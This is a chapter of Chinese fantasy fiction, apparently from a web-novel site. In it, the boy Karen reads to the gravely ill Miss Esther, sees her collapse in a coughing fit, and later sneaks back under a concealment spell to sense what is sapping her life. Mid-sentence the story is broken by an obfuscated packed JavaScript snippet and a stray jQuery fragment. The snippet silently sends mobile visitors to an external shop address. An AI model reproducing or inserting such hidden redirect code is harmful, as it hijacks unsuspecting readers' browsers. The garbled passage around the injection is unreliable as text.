夜晚如期而至，我再次被唤到艾丝特小姐的房间。壁炉里的火焰跳动着，将温暖的光晕铺满房间，却驱不散空气中那股始终萦绕的，混合了药草和病弱气息的沉闷。
艾丝特小姐半靠在床头，身上盖着厚厚的羽绒被，脸色在火光映照下显出一种不健康的潮红，但眼神还算清明。她指了指床边矮柜上的一摞书，示意我今天读那些。
我走过去翻看，不是之前的故事书或诗集，而是一些装帧考究的散文集和游记，内容多是描写异国风光和恬静生活的。我挑了一本看起来文字最平缓的，在床边的椅子上坐下，开始轻声朗读。
起初，一切都很平静。我的声音在房间里流淌，艾丝特小姐闭着眼睛，呼吸平稳，似乎沉浸在那优美舒缓的文字所描绘的宁静世界里。只有壁炉木柴偶尔发出的噼啪声和我的读书声交织在一起。
然而，平静并未持续太久。
大约读了十几页后，我注意到艾丝特小姐的呼吸节奏发生了细微的变化。不再那么平稳悠长，而是变得有些短促，胸口也开始微微起伏。她依旧闭着眼，但眉头不自觉地蹙了起来。
我放慢了语速，声音放得更轻，试图让气氛重新缓和下来。
但情况急转直下。
她的咳嗽突然爆发出来，不是之前那种压抑的轻咳，而是一阵剧烈的，仿佛要将心肺都咳出来的呛咳。她猛地睁开眼睛，眼中瞬间充满了痛苦和窒息感，身体不受控制地向前蜷缩，一只手死死捂住嘴，另一只手胡乱地抓住了垂落的床帐。
“咳！咳咳咳——！” 撕心裂肺的声音在寂静的房间里格外刺耳。
我立刻丢下书，起身想要帮她顺气，但她却像受惊的小动物，猛地将床帐用力拉了下来，厚重的织物瞬间将她整个人连同那痛苦的咳嗽声都隔绝在内，只留下一个剧烈颤抖的，模糊的轮廓。
“小姐！” 我焦急地喊了一声，知道此刻自己笨拙的帮助可能适得其反。我转身冲向房门，猛地拉开门，对着外面昏暗的走廊大喊：“来人！快来人！小姐咳得很厉害！”
我的喊声立刻打破了夜晚的宁静。急促的脚步声立刻从楼梯方向传来，是值夜的女仆。她看到我焦急的神色和房间里传出的可怕咳嗽声，脸色煞白，转身就跑，一边跑一边喊：“医师！快叫医师！还有夫人！”
短短几分钟内，平静被彻底打破。
女仆端着水和药碗跌跌撞撞地先冲了进来，试图掀开床帐喂药，但里面的咳嗽声更加剧烈，还夹杂着痛苦的喘息和呕吐声。紧接着，穿着睡袍、头发略显凌乱的格蕾丝夫人也急匆匆赶到，她看到床帐内女儿痛苦的模样，脸上的血色瞬间褪去，扑到床边，声音颤抖地呼唤着艾丝特的名字，试图安抚她。
医师很快也被请来，提着药箱，面色凝重。房间里的灯被全部点亮，人影幢幢，低语声、安抚声、器皿碰撞声、还有那始终未曾停歇的、令人揪心的咳嗽和喘息声混杂在一起，乱成一团。
我退到房间角落，看着这突如其来的混乱。格蕾丝夫人搂着几乎喘不上气，脸色发紫的艾丝特小姐，眼泪无声地滑落，嘴里不住地说着“我可怜的孩子”。医师迅速检查，示意女仆帮忙喂下某种镇咳平喘的药水，手法熟练却掩不住眉宇间的沉重。
时间在焦灼中缓慢流逝。终于，在药物和安抚的作用下，那可怕的咳嗽声渐渐平息下来，变成了断断续续的，微弱的抽噎和喘息。艾丝特小姐像是耗尽了所有力气，瘫软在格蕾丝夫人怀里，眼睛半阖着，里面失去了焦距，只有生理性的泪水不断溢出。
她的脸色不再是潮红，而是变成了一种死灰般的苍白，嘴唇发绀，整个人仿佛被抽走了魂魄，只剩下一个脆弱不堪的空壳。
格蕾丝夫人紧紧抱着女儿，脸上的泪痕未干，充满心疼。医师低声交代着注意事项，女仆们默不作声地清理着狼藉。
混乱渐渐平息，取而代之的是一种更沉重的，近乎死寂的氛围。
一名女仆走到我身边，低声说：“卡伦小先生，今晚先请您回去休息吧。小姐需要安静。”
我点了点头，最后看了一眼床上。格蕾丝夫人依旧抱着艾丝特小姐，轻轻拍着她的背，嘴唇翕动，却听不清在说什么。而艾丝特小姐，已经闭上了眼睛，像是昏睡了过去，只是那灰败的脸色和微弱的呼吸，让人无法感到安心。
我默默退出了房间，轻轻带上门。走廊里恢复了寂静，只有我自己的脚步声。
回到自己的房间，壁炉的火早已熄灭，房间里一片冰冷。我爬上床，裹紧被子，却毫无睡意。艾丝特小姐那痛苦蜷缩的身影，格蕾丝夫人绝望的眼泪，医师凝重的表情，还有女仆们眼中隐晦的同情……所有的画面在我脑海中反复闪现。
挺不过圣诞节。
厨房的低语再次响起，比以往任何时候都更加清晰，更加残酷。
我在床上翻来覆去，冰冷的被窝无法带来丝毫暖意，只觉得心里也一片冰凉。最终，我烦躁地坐起身，长长地深深地叹了一口气。
不行。我不能就这样看着。
也许我做不了什么，但我至少……可以尝试去看得更清楚一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708135|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。用我唯一拥有的，非常规的方式。
我悄无声息地溜下床，赤脚踩在冰冷的地毯上。夜深人静，整个庄园都沉睡着。我集中精神，深呼吸一口，随后念出了幻身咒，尽力维持着一个极其粗浅的忽略效果，让自己像一抹淡淡的影子，融入了走廊的黑暗中。
我熟门熟路地再次来到艾丝特小姐的房间外。门缝下没有透出多少光亮，里面很安静。
我轻轻推开一条缝，闪身进去，又迅速关好门。
房间里光线昏暗，只有壁炉里还残留着一点即将熄灭的炭火余光。空气中浓重的药味尚未散去。
格蕾丝夫人和医师都不在床边，他们似乎在小隔间里低声交谈，声音压得极低，语气沉重。一名女仆守在小隔间门口，打着瞌睡，并没有注意到我的潜入。
艾丝特小姐独自躺在宽大的床上，被子盖到下巴，只露出一张苍白得吓人的小脸。她闭着眼睛，似乎睡着了，但眉头紧紧蹙着，呼吸微弱而急促，偶尔还会无意识地抽搐一下，显然睡得极不安稳。
我屏住呼吸，慢慢靠近床边。我想感觉一下，她身体内部那令人不安的虚弱和病痛，到底是什么性质。是纯粹的疾病？还是……混杂了别的什么东西？比如，那个传说中的诅咒？
我的手指在被子边缘犹豫了一下，然后，轻轻地，小心翼翼地，握住了她露在被子外的一只冰凉的手。
她的手很小，很软，却冷得像冰，而且几乎没什么力气。
在我触碰到她的瞬间，她的睫毛似乎颤动了一下，眉头蹙得更紧，喉咙里发出了一声梦呓般的呻吟。她并没有完全醒来，但似乎潜意识里察觉到了外界的触碰和一丝……我的体温？
她无意识地，用那点微弱的力气，回握了一下我的手。那力道轻得几乎感觉不到，却带着一种本能的，寻求依靠的意味。
我维持着幻身咒又念出另一个魔咒，额角渗出细汗。这种同时维持忽略效果并进行感知的操作，对我目前的状况来说负荷极大。但我没有松手。
我靠近她的耳边，用只有我自己能听到的近乎气音的声音，低低地说：
“睡吧……睡吧……”
我的声音里，带着一丝我自己都未曾察觉的温和，以及一种坚定的意念。
睡一觉。安稳地睡一觉。
然后，在我耗尽力气之前，或许……我就能看到，或者感觉到，究竟是什么在侵蚀着你年轻的生命。
是病魔？是诅咒？还是两者交织的，更复杂的东西？
睡吧睡吧，睡一觉就好了。